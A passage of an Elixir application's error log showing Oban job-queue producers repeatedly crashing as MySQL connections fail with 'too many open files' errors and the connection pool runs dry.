    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:40:19.240694Z], limit: 3, uuid: "8d3bf2f6-26f8-4798-91f9-1d0c55b15af1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:19.240708Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131616>, refresh_timer: #Reference<0.2525715032.1099431938.25185>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:32.016000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:34.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:36.386000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:36.761000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:37.054000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:37.649000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:37.742000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:40:31.241429Z], limit: 5, uuid: "32ac2d0a-e03c-43af-a85e-7bf7132814a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:31.241435Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132077>, refresh_timer: #Reference<0.2525715032.1077411843.257993>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:43.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:40:31.241195Z], limit: 50, uuid: "bc8c7413-cf5e-4f6e-b7e7-b5d043e8a549", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:31.241201Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.22847>, refresh_timer: #Reference<0.2525715032.1068498948.22839>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:40:31.241887Z], limit: 3, uuid: "a246a3f5-bad7-4f1e-8853-19099924ff80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:31.241893Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132074>, refresh_timer: #Reference<0.2525715032.1121189889.132057>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:40:31.237917Z], limit: 20, uuid: "8fb81cf0-ec05-4ad5-8650-bae26cd80ba8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:31.237926Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132075>, refresh_timer: #Reference<0.2525715032.1099431938.25208>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:43.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:40:31.239580Z], limit: 5, uuid: "8a0b23ae-36be-47b0-8ecd-3a8ed13c1579", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:31.239586Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132078>, refresh_timer: #Reference<0.2525715032.1077411843.257985>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:40:31.241758Z], limit: 10, uuid: "f961e217-5778-47cf-8f6c-47fe17493e30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:31.241936Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132076>, refresh_timer: #Reference<0.2525715032.1077411843.258002>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:43.583000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:46.203000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:49.577000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:51.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:53.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:54.276000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:40:43.243914Z], limit: 20, uuid: "2d4305ee-6c75-40b3-9ebe-6e90c18483a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:43.243919Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258071>, refresh_timer: #Reference<0.2525715032.1068498948.23096>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:40:43.247098Z], limit: 10, uuid: "d5c7e349-7f08-4068-a4ae-6198ce67b366", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:43.247104Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, 